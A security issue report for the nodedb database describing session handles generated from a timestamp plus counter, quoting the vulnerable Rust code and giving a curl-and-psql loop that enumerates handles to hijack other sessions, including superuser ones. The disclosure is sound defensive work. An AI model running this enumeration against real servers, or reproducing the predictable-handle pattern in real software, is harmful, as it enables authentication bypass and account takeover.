Skip to content

CRITICAL: Session handles generated from timestamp + monotonic counter (not CSPRNG) — guessable, gives full AuthContext to any observer #59

@hollanf

Description

@hollanf

Severity

CRITICAL — authentication bypass via handle prediction. Session handles stored in SessionHandleStore and resolved on every pgwire query via SET LOCAL nodedb.auth_session = '<handle>' are generated from the current wall-clock second plus a global atomic counter. The handle space is small and predictable; an attacker who observes any one handle can enumerate every other valid handle issued in the same second window, each of which resolves to its original AuthContext — including superuser contexts.

Current code

File: nodedb/src/control/security/session_handle.rs:118-127

/// Generate a cryptographically random UUID-like handle.
fn generate_handle() -> String {
    use std::sync::atomic::{AtomicU64, Ordering};
    static COUNTER: AtomicU64 = AtomicU64::new(0);
    let ts = now_secs();
    let seq = COUNTER.fetch_add(1, Ordering::Relaxed);
    // Use timestamp + counter for uniqueness. Not cryptographic but sufficient
    // for session handles since the handle is opaque and short-lived.
    format!("nds_{ts:x}_{seq:08x}")
}

The docstring says "cryptographically random" but the implementation is ts + global counter. Both components are observable:

  • ts is the second-resolution server clock — knowable within ~1 second from any HTTP response's Date: header, TLS handshake timestamps, or /health/live response time.
  • seq is a process-global monotonic counter starting at 0 at process boot; every issued handle leaks the current counter value. Rate of advance is trivially estimable from any observed handle or from inducing handle creation.

Resolversession_handle.rs:69-77:

pub fn resolve(&self, handle: &str) -> Option<AuthContext> {
    let sessions = self.sessions.read().unwrap_or_else(|p| p.into_inner());
    let cached = sessions.get(handle)?;
    let now = now_secs();
    if now >= cached.expires_at {
        return None;
    }
    Some(cached.auth_context.clone())
}

Returns the full AuthContext (including identity.is_superuser, identity.roles, tenant_id, RLS context) for any guessed handle. No rate-limit, no throttling, no audit on resolve.

Attack surfacepgwire/handler/routing/mod.rs:98:

let mut auth_ctx = if let Some(handle) =
    self.sessions.get_parameter(addr, "nodedb.auth_session")
    && let Some(cached) = self.state.session_handles.resolve(&handle)
{
    cached                                         // ← whole AuthContext replaced
} else {
    crate::control::server::session_auth::build_auth_context_with_session(...)
};

Any pgwire session can SET LOCAL nodedb.auth_session = 'nds_<ts>_<seq>' and — if the handle happens to resolve — the full AuthContext is substituted for the remainder of the session.

Why it's broken

  • The handle space for a given second is bounded by the counter, typically thousands, not 2^128.
  • An attacker who captures one handle (nds_194a93f2a_000000f3) learns:
    • ts = 0x194a93f2a (second boundary)
    • seq = 0xf3 (243 handles issued so far)
  • In the same second, handles nds_194a93f2a_00000000 through nds_194a93f2a_00000??? are all valid.
  • Adjacent seconds are also enumerable — expected window = (handles/sec × TTL_seconds).
  • Resolve has no rate limit; SessionHandleStore::resolve is O(1) HashMap lookup with read lock, so bruteforce is unthrottled.
  • generate_session_id elsewhere follows the same pattern (same file region), so the internal session_id used for RLS / audit correlation is equally guessable.

Repro

# 1. Obtain any one handle (even a low-privilege one):
curl -H 'Authorization: Bearer <low-priv-jwt>' https://host/api/auth/session
# → {"session_id":"nds_194a93f2a_00000017", ...}

# 2. Enumerate adjacent handles — one resolves per existing session:
for seq in $(seq 0 4095); do
  handle="nds_194a93f2a_$(printf '%08x' $seq)"
  # Via pgwire: any tenant's low-priv user can test by setting the handle.
  psql "postgres://any_user:pw@host:6432/nodedb" \
    -c "SET LOCAL nodedb.auth_session = '$handle'; SELECT current_user, current_setting('is_superuser');"
done

The resulting AuthContext replacement gives the attacker the original session's identity, including superuser sessions that happen to be active.

Notes

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions